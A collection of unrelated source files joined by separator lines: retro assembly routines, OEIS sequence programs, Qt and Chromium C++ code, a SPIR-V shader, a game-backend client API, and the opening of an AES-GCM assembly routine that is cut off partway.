EXTERN loadudg6
EXTERN base_graphics
INCLUDE "graphics/grafix.inc"
.cleargraphics
._cleargraphics
; ld a,12
; call $e00c ; cls
ld c,0 ; first UDG chr$ to load
ld b,64 ; number of characters to load
ld hl,$fe00 ; UDG area
call loadudg6
ld hl,(base_graphics)
ld bc,maxx*maxy/6
.clean
ld (hl),blankch
inc hl
dec bc
ld a,b
or c
jr nz,clean
ret
|
; A216243: Partial sums of the squares of Lucas numbers (A000032).
; 4,5,14,30,79,200,524,1365,3574,9350,24479,64080,167764,439205,1149854,3010350,7881199,20633240,54018524,141422325,370248454,969323030,2537720639,6643838880,17393796004,45537549125,119218851374,312119004990,817138163599,2139295485800
mov $2,$0
add $2,1
mov $3,$0
lpb $2,1
mov $0,$3
sub $2,1
sub $0,$2
add $4,7
div $4,$4
sub $4,3
mov $5,$4
add $6,$4
lpb $0,1
add $5,1
mov $6,1
sub $6,$0
sub $0,1
mov $8,$5
add $5,$4
mov $4,$8
sub $5,1
lpe
mul $4,$8
mul $6,2
sub $4,$6
add $4,1
mul $4,2
mov $7,$4
sub $7,4
div $7,2
add $7,1
add $1,$7
lpe
|
; A102680: Number of digits >= 7 in the decimal representations of all integers from 0 to n.
; 0,0,0,0,0,0,0,1,2,3,3,3,3,3,3,3,3,4,5,6,6,6,6,6,6,6,6,7,8,9,9,9,9,9,9,9,9,10,11,12,12,12,12,12,12,12,12,13,14,15,15,15,15,15,15,15,15,16,17,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,30,32,34,35,36,37,38,39,40,41,43,45,47,48,49,50,51,52,53,54,56,58,60
lpb $0
mov $2,$0
sub $0,1
seq $2,102679 ; Number of digits >= 7 in decimal representation of n.
add $1,$2
lpe
mov $0,$1
|
//******************************************************************************
// Copyright (c) 2005-2011 by Jan Van hijfte
//
// See the included file COPYING.TXT for details about the copyright.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
//******************************************************************************
#if defined BINUX || MAEMO5
#include "qx11info_x11_c.h"
#endif
#if defined BINUX
bool QX11Info_isPlatformX11()
{
return (bool) QX11Info::isPlatformX11();
}
int QX11Info_appDpiX(int screen)
{
return (int) QX11Info::appDpiX(screen);
}
int QX11Info_appDpiY(int screen)
{
return (int) QX11Info::appDpiY(screen);
}
unsigned long QX11Info_appRootWindow(int screen)
{
return (unsigned long) QX11Info::appRootWindow(screen);
}
int QX11Info_appScreen()
{
return (int) QX11Info::appScreen();
}
unsigned long QX11Info_appTime()
{
return (unsigned long) QX11Info::appTime();
}
unsigned long QX11Info_appUserTime()
{
return (unsigned long) QX11Info::appUserTime();
}
void QX11Info_setAppTime(unsigned long time)
{
QX11Info::setAppTime(time);
}
void QX11Info_setAppUserTime(unsigned long time)
{
QX11Info::setAppUserTime(time);
}
unsigned long QX11Info_getTimestamp()
{
return (unsigned long) QX11Info::getTimestamp();
}
QByteArray QX11Info_nextStartupId()
{
return (QByteArray) QX11Info::nextStartupId();
}
void QX11Info_setNextStartupId(const QByteArray &id)
{
QX11Info::setNextStartupId(id);
}
Display* QX11Info_display()
{
return (Display*) QX11Info::display();
}
#endif
|
; NES APU Sweep Cutoff Test
; Tests NES APU sweep cutoff (silence) thresholds. When run, there
; should be silence, white noise, several tones without any silence
; between, then a tone sweep up (refer to sweep_cutoff.wav).
main:
sei
lda #250 ; wait for hardware
jsr delay_msec
lda #$01 ; enable square 1
sta $4015
lda #$bf ; square volume = 15
sta $4000
; First, do things that shouldn't make any sound
lda #$a1 ; square period = 7
sta $4001
lda #$07
sta $4002
lda #$00
sta $4003
lda #200
jsr delay_msec
lda #1 ; maximum square periods + 1
jsr test_cutoffs
lda #$c0 ; synchronize APU
sta $4017
lda #$89 ; sweep square of period 16 down to 7
sta $4001
lda #16
sta $4002
lda #$00
sta $4003
lda #$c0 ; clock sweep
sta $4017
; period should now be 7 (silenced)
lda #$91 ; put sweep in add mode to catch period >= 8
sta $4001
lda #200
jsr delay_msec
; Put noise marker between
lda #$08
sta $4015
lda #$3f
sta $400c
lda #$04
sta $400e
lda #$08
sta $400f
lda #200
jsr delay_msec
lda #$01
sta $4015
lda #0 ; maximum square periods
jsr test_cutoffs
lda #$91 ; square period = 8 should be audible
sta $4001
lda #$08
sta $4002
lda #$00
sta $4003
lda #200
jsr delay_msec
lda #$00 ; silence
sta $4015
forever:
jmp forever
test_cutoffs:
sta 0
ldy #7
cutoff_loop:
lda cutoffs_l,y ; square period = cutoffs [y] + [0]
clc
adc 0
sta $4002
lda #0
adc cutoffs_h,y
sta $4003
sty $4001 ; sweep shift = y
lda #200
jsr delay_msec
dey
bpl cutoff_loop
rts
cutoffs_h: .byte 3, 5, 6, 7, 7, 7, 7, 7
cutoffs_l: .byte $ff,$55,$66,$1c,$87,$c1,$e0,$f0
; Delay a milliseconds
; Preserved: x, y
delay_msec:
pha ; 3
lda #253 ; 2
sec ; 2
dmslp:
nop ; 2
adc #-2 ; 2
bne dmslp ; 3
; -1
pla ; 4
clc ; 2
adc #-1 ; 2
bne delay_msec ; 3
rts
irq:
nmi: rti
.org $fffa
.word nmi
.word main
.word irq
|
/*
* Copyright (C) 2011 Google Inc. All rights reserved.
* Copyright (C) 2011 Ericsson AB. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "modules/mediastream/MediaStreamTrack.h"
#include "bindings/core/v8/ExceptionMessages.h"
#include "core/dom/Document.h"
#include "core/dom/ExceptionCode.h"
#include "core/dom/ExecutionContext.h"
#include "core/events/Event.h"
#include "core/frame/Deprecation.h"
#include "modules/mediastream/MediaConstraintsImpl.h"
#include "modules/mediastream/MediaStream.h"
#include "modules/mediastream/MediaStreamTrackSourcesCallback.h"
#include "modules/mediastream/MediaStreamTrackSourcesRequestImpl.h"
#include "modules/mediastream/UserMediaController.h"
#include "platform/mediastream/MediaStreamCenter.h"
#include "platform/mediastream/MediaStreamComponent.h"
#include "public/platform/WebSourceInfo.h"
namespace blink {
MediaStreamTrack* MediaStreamTrack::create(ExecutionContext* context, MediaStreamComponent* component)
{
MediaStreamTrack* track = new MediaStreamTrack(context, component);
track->suspendIfNeeded();
return track;
}
MediaStreamTrack::MediaStreamTrack(ExecutionContext* context, MediaStreamComponent* component)
: ActiveScriptWrappable(this)
, ActiveDOMObject(context)
, m_readyState(MediaStreamSource::ReadyStateLive)
, m_isIteratingRegisteredMediaStreams(false)
, m_stopped(false)
, m_component(component)
// The source's constraints aren't yet initialized at creation time.
, m_constraints()
{
m_component->source()->addObserver(this);
}
MediaStreamTrack::~MediaStreamTrack()
{
}
String MediaStreamTrack::kind() const
{
DEFINE_STATIC_LOCAL(String, audioKind, ("audio"));
DEFINE_STATIC_LOCAL(String, videoKind, ("video"));
switch (m_component->source()->type()) {
case MediaStreamSource::TypeAudio:
return audioKind;
case MediaStreamSource::TypeVideo:
return videoKind;
}
NOTREACHED();
return audioKind;
}
String MediaStreamTrack::id() const
{
return m_component->id();
}
String MediaStreamTrack::label() const
{
return m_component->source()->name();
}
bool MediaStreamTrack::enabled() const
{
return m_component->enabled();
}
void MediaStreamTrack::setEnabled(bool enabled)
{
if (enabled == m_component->enabled())
return;
m_component->setEnabled(enabled);
if (!ended())
MediaStreamCenter::instance().didSetMediaStreamTrackEnabled(m_component.get());
}
bool MediaStreamTrack::muted() const
{
return m_component->muted();
}
bool MediaStreamTrack::remote() const
{
return m_component->source()->remote();
}
String MediaStreamTrack::readyState() const
{
if (ended())
return "ended";
switch (m_readyState) {
case MediaStreamSource::ReadyStateLive:
return "live";
case MediaStreamSource::ReadyStateMuted:
return "muted";
case MediaStreamSource::ReadyStateEnded:
return "ended";
}
NOTREACHED();
return String();
}
void MediaStreamTrack::getSources(ExecutionContext* context, MediaStreamTrackSourcesCallback* callback, ExceptionState& exceptionState)
{
LocalFrame* frame = toDocument(context)->frame();
UserMediaController* userMedia = UserMediaController::from(frame);
if (!userMedia) {
exceptionState.throwDOMException(NotSupportedError, "No sources controller available; is this a detached window?");
return;
}
Deprecation::countDeprecation(context, UseCounter::MediaStreamTrackGetSources);
MediaStreamTrackSourcesRequest* request = MediaStreamTrackSourcesRequestImpl::create(*context, callback);
userMedia->requestSources(request);
}
void MediaStreamTrack::stopTrack(ExceptionState& exceptionState)
{
if (ended())
return;
m_readyState = MediaStreamSource::ReadyStateEnded;
MediaStreamCenter::instance().didStopMediaStreamTrack(component());
dispatchEvent(Event::create(EventTypeNames::ended));
propagateTrackEnded();
}
MediaStreamTrack* MediaStreamTrack::clone(ExecutionContext* context)
{
MediaStreamComponent* clonedComponent = MediaStreamComponent::create(component()->source());
MediaStreamTrack* clonedTrack = MediaStreamTrack::create(context, clonedComponent);
MediaStreamCenter::instance().didCreateMediaStreamTrack(clonedComponent);
return clonedTrack;
}
void MediaStreamTrack::getConstraints(MediaTrackConstraints& constraints)
{
MediaConstraintsImpl::convertConstraints(m_constraints, constraints);
}
void MediaStreamTrack::setConstraints(const WebMediaConstraints& constraints)
{
m_constraints = constraints;
}
bool MediaStreamTrack::ended() const
{
return m_stopped || (m_readyState == MediaStreamSource::ReadyStateEnded);
}
void MediaStreamTrack::sourceChangedState()
{
if (ended())
return;
m_readyState = m_component->source()->getReadyState();
switch (m_readyState) {
case MediaStreamSource::ReadyStateLive:
m_component->setMuted(false);
dispatchEvent(Event::create(EventTypeNames::unmute));
break;
case MediaStreamSource::ReadyStateMuted:
m_component->setMuted(true);
dispatchEvent(Event::create(EventTypeNames::mute));
break;
case MediaStreamSource::ReadyStateEnded:
dispatchEvent(Event::create(EventTypeNames::ended));
propagateTrackEnded();
break;
}
}
void MediaStreamTrack::propagateTrackEnded()
{
// TODO(mcasas): Substitute with CHECK, see https://crbug.com/599867.
RELEASE_ASSERT(!m_isIteratingRegisteredMediaStreams);
m_isIteratingRegisteredMediaStreams = true;
for (HeapHashSet<Member<MediaStream>>::iterator iter = m_registeredMediaStreams.begin(); iter != m_registeredMediaStreams.end(); ++iter)
(*iter)->trackEnded();
m_isIteratingRegisteredMediaStreams = false;
}
void MediaStreamTrack::stop()
{
m_stopped = true;
}
bool MediaStreamTrack::hasPendingActivity() const
{
// If 'ended' listeners exist and the object hasn't yet reached
// that state, keep the object alive.
//
// An otherwise unreachable MediaStreamTrack object in an non-ended
// state will otherwise indirectly be transitioned to the 'ended' state
// while finalizing m_component. Which dispatches an 'ended' event,
// referring to this object as the target. If this object is then GCed
// at the same time, v8 objects will retain (wrapper) references to
// this dead MediaStreamTrack object. Bad.
//
// Hence insisting on keeping this object alive until the 'ended'
// state has been reached & handled.
return !ended() && hasEventListeners(EventTypeNames::ended);
}
PassOwnPtr<AudioSourceProvider> MediaStreamTrack::createWebAudioSource()
{
return MediaStreamCenter::instance().createWebAudioSourceFromMediaStreamTrack(component());
}
void MediaStreamTrack::registerMediaStream(MediaStream* mediaStream)
{
// TODO(mcasas): Substitute with CHECK, see https://crbug.com/599867.
RELEASE_ASSERT(!m_isIteratingRegisteredMediaStreams);
RELEASE_ASSERT(!m_registeredMediaStreams.contains(mediaStream));
m_registeredMediaStreams.add(mediaStream);
}
void MediaStreamTrack::unregisterMediaStream(MediaStream* mediaStream)
{
// TODO(mcasas): Substitute with CHECK, see https://crbug.com/599867.
RELEASE_ASSERT(!m_isIteratingRegisteredMediaStreams);
HeapHashSet<Member<MediaStream>>::iterator iter = m_registeredMediaStreams.find(mediaStream);
RELEASE_ASSERT(iter != m_registeredMediaStreams.end());
m_registeredMediaStreams.remove(iter);
}
const AtomicString& MediaStreamTrack::interfaceName() const
{
return EventTargetNames::MediaStreamTrack;
}
ExecutionContext* MediaStreamTrack::getExecutionContext() const
{
return ActiveDOMObject::getExecutionContext();
}
DEFINE_TRACE(MediaStreamTrack)
{
visitor->trace(m_registeredMediaStreams);
visitor->trace(m_component);
EventTargetWithInlineData::trace(visitor);
ActiveDOMObject::trace(visitor);
}
} // namespace blink
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 143
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %124
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %7 "S"
OpMemberName %7 0 "data0"
OpMemberName %7 1 "data1"
OpName %11 "func(struct-S-i1-i11;"
OpName %10 "s"
OpName %14 "_GLF_global_loop_count"
OpName %20 "arr"
OpName %26 "buf0"
OpMemberName %26 0 "_GLF_uniform_int_values"
OpName %28 ""
OpName %34 "i"
OpName %48 "j"
OpName %49 "buf1"
OpMemberName %49 0 "zero"
OpName %51 ""
OpName %84 "param"
OpName %94 "param"
OpName %124 "_GLF_color"
OpDecorate %25 ArrayStride 16
OpMemberDecorate %26 0 Offset 0
OpDecorate %26 Block
OpDecorate %28 DescriptorSet 0
OpDecorate %28 Binding 0
OpMemberDecorate %49 0 Offset 0
OpDecorate %49 Block
OpDecorate %51 DescriptorSet 0
OpDecorate %51 Binding 1
OpDecorate %124 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypeStruct %6 %6
%8 = OpTypePointer Function %7
%9 = OpTypeFunction %2 %8
%13 = OpTypePointer Private %6
%14 = OpVariable %13 Private
%15 = OpConstant %6 0
%16 = OpTypeInt 32 0
%17 = OpConstant %16 10
%18 = OpTypeArray %7 %17
%19 = OpTypePointer Private %18
%20 = OpVariable %19 Private
%21 = OpConstant %6 1
%22 = OpConstantComposite %7 %21 %21
%23 = OpConstantComposite %18 %22 %22 %22 %22 %22 %22 %22 %22 %22 %22
%24 = OpConstant %16 3
%25 = OpTypeArray %6 %24
%26 = OpTypeStruct %25
%27 = OpTypePointer Uniform %26
%28 = OpVariable %27 Uniform
%29 = OpTypePointer Uniform %6
%32 = OpTypePointer Function %6
%43 = OpConstant %6 10
%44 = OpTypeBool
%49 = OpTypeStruct %6
%50 = OpTypePointer Uniform %49
%51 = OpVariable %50 Uniform
%79 = OpConstant %6 2
%85 = OpTypePointer Private %7
%121 = OpTypeFloat 32
%122 = OpTypeVector %121 4
%123 = OpTypePointer Output %122
%124 = OpVariable %123 Output
%4 = OpFunction %2 None %3
%5 = OpLabel
%34 = OpVariable %32 Function
%48 = OpVariable %32 Function
%84 = OpVariable %8 Function
%94 = OpVariable %8 Function
OpStore %14 %15
OpStore %20 %23
%35 = OpAccessChain %29 %28 %15 %21
%36 = OpLoad %6 %35
OpStore %34 %36
OpBranch %37
%37 = OpLabel
OpLoopMerge %39 %40 None
OpBranch %41
%41 = OpLabel
%42 = OpLoad %6 %14
%45 = OpSLessThan %44 %42 %43
OpBranchConditional %45 %38 %39
%38 = OpLabel
%46 = OpLoad %6 %14
%47 = OpIAdd %6 %46 %21
OpStore %14 %47
%52 = OpAccessChain %29 %51 %15
%53 = OpLoad %6 %52
OpStore %48 %53
OpBranch %54
%54 = OpLabel
OpLoopMerge %56 %57 None
OpBranch %58
%58 = OpLabel
%59 = OpLoad %6 %48
%60 = OpAccessChain %29 %28 %15 %21
%61 = OpLoad %6 %60
%62 = OpINotEqual %44 %59 %61
%63 = OpLoad %6 %14
%64 = OpSLessThan %44 %63 %43
%65 = OpLogicalAnd %44 %62 %64
OpBranchConditional %65 %55 %56
%55 = OpLabel
%66 = OpLoad %6 %14
%67 = OpIAdd %6 %66 %21
OpStore %14 %67
OpBranch %57
%57 = OpLabel
OpBranch %54
%56 = OpLabel
%68 = OpLoad %6 %34
%69 = OpAccessChain %13 %20 %68 %15
%70 = OpLoad %6 %69
%71 = OpAccessChain %29 %28 %15 %21
%72 = OpLoad %6 %71
%73 = OpSGreaterThanEqual %44 %70 %72
OpSelectionMerge %75 None
OpBranchConditional %73 %74 %75
%74 = OpLabel
%76 = OpLoad %6 %34
%77 = OpAccessChain %13 %20 %76 %21
%78 = OpLoad %6 %77
%80 = OpIEqual %44 %78 %79
OpSelectionMerge %82 None
OpBranchConditional %80 %81 %92
%81 = OpLabel
%83 = OpLoad %6 %34
%86 = OpAccessChain %85 %20 %83
%87 = OpLoad %7 %86
OpStore %84 %87
%88 = OpFunctionCall %2 %11 %84
%89 = OpLoad %7 %84
%90 = OpAccessChain %85 %20 %83
OpStore %90 %89
OpReturn
%92 = OpLabel
%93 = OpLoad %6 %34
%95 = OpAccessChain %85 %20 %93
%96 = OpLoad %7 %95
OpStore %94 %96
%97 = OpFunctionCall %2 %11 %94
%98 = OpLoad %7 %94
%99 = OpAccessChain %85 %20 %93
OpStore %99 %98
OpBranch %82
%82 = OpLabel
OpBranch %75
%75 = OpLabel
OpBranch %40
%40 = OpLabel
%100 = OpLoad %6 %34
%101 = OpIAdd %6 %100 %21
OpStore %34 %101
OpBranch %37
%39 = OpLabel
%102 = OpAccessChain %29 %28 %15 %21
%103 = OpLoad %6 %102
%104 = OpAccessChain %13 %20 %103 %15
%105 = OpLoad %6 %104
%106 = OpAccessChain %29 %28 %15 %15
%107 = OpLoad %6 %106
%108 = OpIEqual %44 %105 %107
OpSelectionMerge %110 None
OpBranchConditional %108 %109 %110
%109 = OpLabel
%111 = OpAccessChain %29 %28 %15 %79
%112 = OpLoad %6 %111
%113 = OpAccessChain %13 %20 %112 %15
%114 = OpLoad %6 %113
%115 = OpAccessChain %29 %28 %15 %21
%116 = OpLoad %6 %115
%117 = OpIEqual %44 %114 %116
OpBranch %110
%110 = OpLabel
%118 = OpPhi %44 %108 %39 %117 %109
OpSelectionMerge %120 None
OpBranchConditional %118 %119 %138
%119 = OpLabel
%125 = OpAccessChain %29 %28 %15 %21
%126 = OpLoad %6 %125
%127 = OpConvertSToF %121 %126
%128 = OpAccessChain %29 %28 %15 %15
%129 = OpLoad %6 %128
%130 = OpConvertSToF %121 %129
%131 = OpAccessChain %29 %28 %15 %15
%132 = OpLoad %6 %131
%133 = OpConvertSToF %121 %132
%134 = OpAccessChain %29 %28 %15 %21
%135 = OpLoad %6 %134
%136 = OpConvertSToF %121 %135
%137 = OpCompositeConstruct %122 %127 %130 %133 %136
OpStore %124 %137
OpBranch %120
%138 = OpLabel
%139 = OpAccessChain %29 %28 %15 %15
%140 = OpLoad %6 %139
%141 = OpConvertSToF %121 %140
%142 = OpCompositeConstruct %122 %141 %141 %141 %141
OpStore %124 %142
OpBranch %120
%120 = OpLabel
OpReturn
OpFunctionEnd
%11 = OpFunction %2 None %9
%10 = OpFunctionParameter %8
%12 = OpLabel
%30 = OpAccessChain %29 %28 %15 %15
%31 = OpLoad %6 %30
%33 = OpAccessChain %32 %10 %15
OpStore %33 %31
OpReturn
OpFunctionEnd
|
// Copyright 2016 bitHeads, Inc. All Rights Reserved.
#include "braincloud/BrainCloudCustomEntity.h"
#include "braincloud/BrainCloudClient.h"
#include "braincloud/IServerCallback.h"
#include "braincloud/ServerCall.h"
#include "braincloud/ServiceName.h"
#include "braincloud/ServiceOperation.h"
#include "braincloud/OperationParam.h"
#include "json/json.h"
#include "braincloud/internal/StringUtil.h"
#include "braincloud/internal/JsonUtil.h"
namespace BrainCloud
{
BrainCloudCustomEntity::BrainCloudCustomEntity(BrainCloudClient* in_client) : m_client(in_client) { }
void BrainCloudCustomEntity::createEntity(const char * in_entityType, const std::string& in_jsonEntityData, const std::string& in_jsonEntityAcl, int64_t in_timeToLive, bool in_isOwned, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceData.getValue()] = JsonUtil::jsonStringToValue(in_jsonEntityData);
message[OperationParam::CustomEntityServiceAcl.getValue()] = JsonUtil::jsonStringToValue(in_jsonEntityAcl);
message[OperationParam::CustomEntityServiceTimeToLive.getValue()] = (Json::Int64) in_timeToLive;
message[OperationParam::CustomEntityServiceIsOwned.getValue()] = in_isOwned;
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::CreateEntity, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::deleteEntity(const char * in_entityType, const char * in_entityId, const std::string& in_jsonEntityData, int32_t in_version, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceEntityId.getValue()] = in_entityId;
message[OperationParam::CustomEntityServiceData.getValue()] = JsonUtil::jsonStringToValue(in_jsonEntityData);
message[OperationParam::CustomEntityServiceVersion.getValue()] = in_version;
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::DeleteEntity, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::getCount(const char * in_entityType, const std::string& in_whereJson, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceData.getValue()] = JsonUtil::jsonStringToValue(in_whereJson);
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::GetCount, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::getEntityPage(const char * in_entityType, const char * in_context, IServerCallback * in_callback)
{
Json::Value message;
Json::Reader reader;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
Json::Value parsedContext;
reader.parse(in_context, parsedContext);
message[OperationParam::CustomEntityServiceContext.getValue()] = parsedContext;
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::GetCustomEntityPage, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::getEntityPageOffset(const char * in_entityType, const std::string& in_context, int32_t in_pageOffset, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceContext.getValue()] = in_context;
message[OperationParam::CustomEntityServicePageOffset.getValue()] = in_pageOffset;
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::GetEntityPageOffset, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::readEntity(const char * in_entityType, const char * in_entityId, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceEntityId.getValue()] = in_entityId;
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::ReadEntity, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::updateEntity(const char * in_entityType, const char * in_entityId, int32_t in_version, const std::string& in_jsonEntityData, const std::string& in_jsonEntityAcl, int64_t in_timeToLive, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceEntityId.getValue()] = in_entityId;
message[OperationParam::CustomEntityServiceVersion.getValue()] = in_version;
message[OperationParam::CustomEntityServiceData.getValue()] = JsonUtil::jsonStringToValue(in_jsonEntityData);
message[OperationParam::CustomEntityServiceAcl.getValue()] = JsonUtil::jsonStringToValue(in_jsonEntityAcl);
message[OperationParam::CustomEntityServiceTimeToLive.getValue()] = (Json::Int64) in_timeToLive;
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::UpdateEntity, message, in_callback);
m_client->sendRequest(sc);
}
void BrainCloudCustomEntity::updateEntityFields(const char * in_entityType, const char * in_entityId, int32_t in_version, const std::string& in_fieldsJson, IServerCallback * in_callback)
{
Json::Value message;
message[OperationParam::CustomEntityServiceEntityType.getValue()] = in_entityType;
message[OperationParam::CustomEntityServiceEntityId.getValue()] = in_entityId;
message[OperationParam::CustomEntityServiceVersion.getValue()] = in_version;
message[OperationParam::CustomEntityFieldsJson.getValue()] = JsonUtil::jsonStringToValue(in_fieldsJson);
ServerCall * sc = new ServerCall(ServiceName::CustomEntity, ServiceOperation::UpdateEntityFields, message, in_callback);
m_client->sendRequest(sc);
}
} |
; A201008: Triangular numbers, T(m), that are five-sixths of another triangular number: T(m) such that 6*T(m)=5*T(k) for some k.
; Submitted by Christian Krause
; 0,55,26565,12804330,6171660550,2974727580825,1433812522297155,691094661019647940,333106192798948009980,160556493834431921162475,77387896922003387052303025,37300805759911798127288895630,17978910988380564693966195390690,8665797795593672270693578889417005,4176896558565161653909611058503605775,2013255475430612323512161836619848566600,970384962260996574771208095639708505495480,467723538554324918427398789936502879800254815,225441775198222349685431445541298748355217325405
mov $3,1
lpb $0
sub $0,1
mov $1,$3
mul $1,20
add $2,$1
add $3,$2
lpe
pow $3,2
mov $0,$3
div $0,8
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 6, 0x90
POLY:
.quad 0x1, 0xC200000000000000
TWOONE:
.quad 0x1, 0x100000000
SHUF_CONST:
.quad 0x8090a0b0c0d0e0f, 0x1020304050607
MASK1:
.quad 0xffffffffffffffff, 0x0
MASK2:
.quad 0x0, 0xffffffffffffffff
INC_1:
.quad 1,0
.p2align 6, 0x90
.globl AesGcmPrecompute_avx
.type AesGcmPrecompute_avx, @function
AesGcmPrecompute_avx:
movdqu (%rsi), %xmm0
pshufb SHUF_CONST(%rip), %xmm0
movdqa %xmm0, %xmm4
psllq $(1), %xmm0
psrlq $(63), %xmm4
movdqa %xmm4, %xmm3
pslldq $(8), %xmm4
psrldq $(8), %xmm3
por %xmm4, %xmm0
pshufd $(36), %xmm3, %xmm4
pcmpeqd TWOONE(%rip), %xmm4
pand POLY(%rip), %xmm4
pxor %xmm4, %xmm0
movdqa %xmm0, %xmm1
pshufd $(78), %xmm1, %xmm5
pshufd $(78), %xmm0, %xmm3
pxor %xmm1, %xmm5
pxor %xmm0, %xmm3
pclmulqdq $(0), %xmm3, %xmm5
movdqa %xmm1, %xmm4
pclmulqdq $(0), %xmm0, %xmm1
pxor %xmm3, %xmm3
pclmulqdq $(17), %xmm0, %xmm4
pxor %xmm1, %xmm5
pxor %xmm4, %xmm5
palignr $(8), %xmm5, %xmm3
pslldq $(8), %xmm5
pxor %xmm3, %xmm4
pxor %xmm5, %xmm1
movdqa %xmm1, %xmm3
movdqa %xmm1, %xmm5
movdqa %xmm1, %xmm15
psllq $(63), %xmm3
psllq $(62), %xmm5
psllq $(57), %xmm15
pxor %xmm5, %xmm3
pxor %xmm15, %xmm3
movdqa %xmm3, %xmm5
pslldq $(8), %xmm5
psrldq $(8), %xmm3
pxor %xmm5, %xmm1
pxor %xmm3, %xmm4
movdqa %xmm1, %xmm5
psrlq $(5), %xmm5
pxor %xmm1, %xmm5
psrlq $(1), %xmm5
pxor %xmm1, %xmm5
psrlq $(1), %xmm5
pxor %xmm5, %xmm1
pxor %xmm4, %xmm1
movdqa %xmm1, %xmm2
pshufd $(78), %xmm2, %xmm5
pshufd $(78), %xmm1, %xmm3
pxor %xmm2, %xmm5
pxor %xmm1, %xmm3
pclmulqdq $(0), %xmm3, %xmm5
movdqa %xmm2, %xmm4
pclmulqdq $(0), %xmm1, %xmm2
pxor %xmm3, %xmm3
pclmulqdq $(17), %xmm1, %xmm4
pxor %xmm2, %xmm5
pxor %xmm4, %xmm5
palignr $(8), %xmm5, %xmm3
pslldq $(8), %xmm5
